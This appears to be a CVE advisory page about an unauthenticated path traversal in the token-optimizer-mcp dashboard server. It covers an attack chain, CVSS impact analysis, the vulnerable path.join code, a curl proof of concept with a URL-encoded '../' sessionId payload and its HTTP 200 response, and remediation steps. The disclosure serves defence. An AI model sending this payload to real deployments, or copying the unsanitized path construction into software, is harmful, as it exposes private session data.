Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify network-accessible dashboard on port 3100
-
DeliveryCraft URL-encoded path traversal as sessionId value
-
ExploitSend unauthenticated GET to /api/session-events or /api/session-summary
-
ExecutionNode.js path.join normalizes .. sequences
-
PersistServer reads .jsonl file outside hooksDataPath
-
ImpactSensitive session data returned in HTTP 200 response
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The dashboard HTTP server must be running and reachable by the attacker over the network; instances bound to 0.0.0.0 or a public interface are directly exploitable, while localhost-only bindings limit the attack to local users. No authentication is required (CVSS PR:N), no user interaction is needed (UI:N), and no special server configuration beyond having the dashboard feature enabled is prerequisite. Exploitation is bounded to files with a .jsonl extension because the server hardcodes session-log-<sessionId>.jsonl in the path template - reads of arbitrary extensions (e.g., .env, .key, /etc/passwd) are not possible. Both /api/session-summary and /api/session-events are independently exploitable via the same technique. |
| Impact | The CVSS 3.1 score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) accurately characterizes this as a low-complexity, unauthenticated network attack with bounded confidentiality impact - the .jsonl extension constraint prevents reading arbitrary system files such as private keys or /etc/shadow, which keeps the ceiling at C:L rather than C:H. No EPSS data was provided in the input, and the CVE does not appear in CISA KEV, so widespread active exploitation is unconfirmed; however, the public availability of a working single-request PoC in the GitHub advisory materially elevates real-world exploitation probability beyond what the raw CVSS score conveys. The attack is fully automatable - one unauthenticated GET request with no prerequisites - which means internet-exposed instances should be treated as critically urgent regardless of the Medium severity rating. Deployments where the dashboard is bound only to localhost face substantially lower risk, as exploitation requires local access. Session log files in MCP deployments may contain sensitive operational data including tool invocations, hook outputs, and token usage records, so the business impact of a successful read could exceed what C:L implies in high-sensitivity environments. |
| Exploit ScenarioDerived | A publicly available proof-of-concept confirms that an unauthenticated attacker sends a single HTTP GET request - curl -s 'http://<target>:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftarget' - with no credentials or prior access. Node.js normalizes the URL-encoded ../.. sequences during path.join resolution, causing fs.readFileSync to return the contents of a .jsonl file outside the intended hooksDataPath, which the server then serializes into the JSON response body with HTTP 200. |
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Alert meAnalysisAIv1 – Aug 14, 2026
Unauthenticated path traversal in the token-optimizer-mcp dashboard server (npm package @ooples/token-optimizer-mcp v5.0.1) allows any network-accessible attacker to read arbitrary .jsonl files from the server's filesystem by supplying a crafted sessionId parameter to /api/session-summary or /api/session-events. The CVSS vector (PR:N, AV:N, AC:L, UI:N) confirms zero authentication or user interaction is required, and a working proof-of-concept demonstrating successful out-of-bounds file exfiltration has been publicly disclosed in GHSA-76pc-mqxp-3rq5. No active exploitation has been confirmed by CISA KEV, but the trivial exploitation complexity and public PoC make this an immediate priority for any internet-exposed deployment.
RemediationAI
Upgrade to @ooples/token-optimizer-mcp version 5.1.0 or later, available as a tagged release at https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0 and fixed by commit b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7 (https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7). If immediate upgrade is not feasible, restrict network access to the dashboard server (default port 3100) via firewall rules or by binding it exclusively to 127.0.0.1, which eliminates remote exploitation at the cost of preventing legitimate remote dashboard access. As an additional code-level control pending upgrade, validate sessionId against the strict regex /^[a-zA-Z0-9_-]{1,64}$/ before path construction, or apply path.basename(sessionId) to strip all directory components - both approaches are documented in the advisory. Adding authentication middleware to all /api/* routes provides defense-in-depth but does not substitute for the path sanitization fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected package is an MCP (Model Context Protocol) server tool distributed via npm as @ooples/token-optimizer-mcp. Its bundled Express.js dashboard HTTP server exposes two API endpoints - /api/session-summary (web-server.ts:73-88) and /api/session-events (web-server.ts:297-311) - neither of which has authentication middleware. In both handlers, the req.query.sessionId value is interpolated directly into a Node.js path.join() call: path.join(hooksDataPath, session-log-${sessionId}.jsonl). Node.js's path resolution normalizes .. sequences at call time, so a sessionId value of abc/../../../../target escapes the intended hooksDataPath directory. CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) describes this root cause: the application does not canonicalize or allowlist the user-controlled path segment before filesystem access. The attack surface is partially bounded by the .jsonl suffix hardcoded into the path template, restricting reads to files bearing that extension.
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Network-accessible unauthenticated endpoint; confidentiality limited to .jsonl files only; no integrity or availability impact applies.
Primary rating from Vendor (https://github.com/ooples/token-optimizer-mcp).
CVSS VectorVendor: https://github.com/ooples/token-optimizer-mcp
DescriptionCVE.org
Unauthenticated Path Traversal in Dashboard Session Log API Endpoints
| Field | Value |
|---|---|
| Repository | ooples/token-optimizer-mcp |
| Affected version | 5.0.1 (commit 8137147) |
| Vulnerability | CWE-22 - Improper Limitation of a Pathname to a Restricted Directory |
| Severity | Medium |
| CVSS 3.1 | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
Summary
The dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware - any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a .jsonl file located outside the intended hooksDataPath directory with a single unauthenticated HTTP GET request.
Affected Code
src/server/web-server.ts:73-88 - /api/session-summary: unsanitized sessionId interpolated into path.join then passed to fs.readFileSync
const hooksDataPath = getHooksDataPath();
const jsonlFilePath = path.join(
hooksDataPath,
`session-log-${sessionId}.jsonl`
);
if (!fs.existsSync(jsonlFilePath)) {
return res.status(404).json({
success: false,
error: `JSONL log not found for session ${sessionId}`,
sessionId,
});
}
// Parse JSONL file
const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');src/server/web-server.ts:297-311 - /api/session-events: identical unsanitized path.join + fs.readFileSync pattern
const hooksDataPath = getHooksDataPath();
const jsonlFilePath = path.join(
hooksDataPath,
`session-log-${sessionId}.jsonl`
);
if (!fs.existsSync(jsonlFilePath)) {
return res.status(404).json({
success: false,
error: `JSONL log not found for session ${sessionId}`,
});
}
// Parse JSONL file
const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');req.query.sessionId flows unsanitized into path.join(hooksDataPath, \session-log-${sessionId}.jsonl\), which Node.js resolves by normalizing .. traversal sequences before the fs.readFileSync call.
Proof of Concept
Step 1 - Send traversal payload to /api/session-events with no credentials: server returns HTTP 200 with contents of a .jsonl file outside hooksDataPath - proves unauthenticated out-of-bounds file read.
curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target"GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1
Host: 127.0.0.1:3100
User-Agent: python-requests/2.x
Accept: */*HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 186
{"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]}Impact
An unauthenticated remote attacker can read the contents of any .jsonl file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other .jsonl file reachable via .. traversal from hooksDataPath. The constraint that the resolved path must end in .jsonl limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both /api/session-summary and /api/session-events, and neither endpoint requires authentication.
Remediation
- Validate
sessionIdformat before use: reject any value that does not match a strict allowlist such as/^[a-zA-Z0-9_-]{1,64}$/. This prevents/and.characters from entering the path construction entirely.
const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/;
if (!SESSION_ID_RE.test(sessionId)) {
return res.status(400).json({ success: false, error: 'Invalid sessionId' });
}- Alternatively, apply
path.basenameto strip all directory components:path.basename(sessionId)reduces any traversal sequence to a bare filename beforepath.join. - Add authentication middleware to all
/api/*routes so that even if a bypass is found the endpoints are not reachable without a valid session token.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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EUVD-2026-88398
GHSA-76pc-mqxp-3rq5
NVD
CVE.org
EPSS
Exploit-DB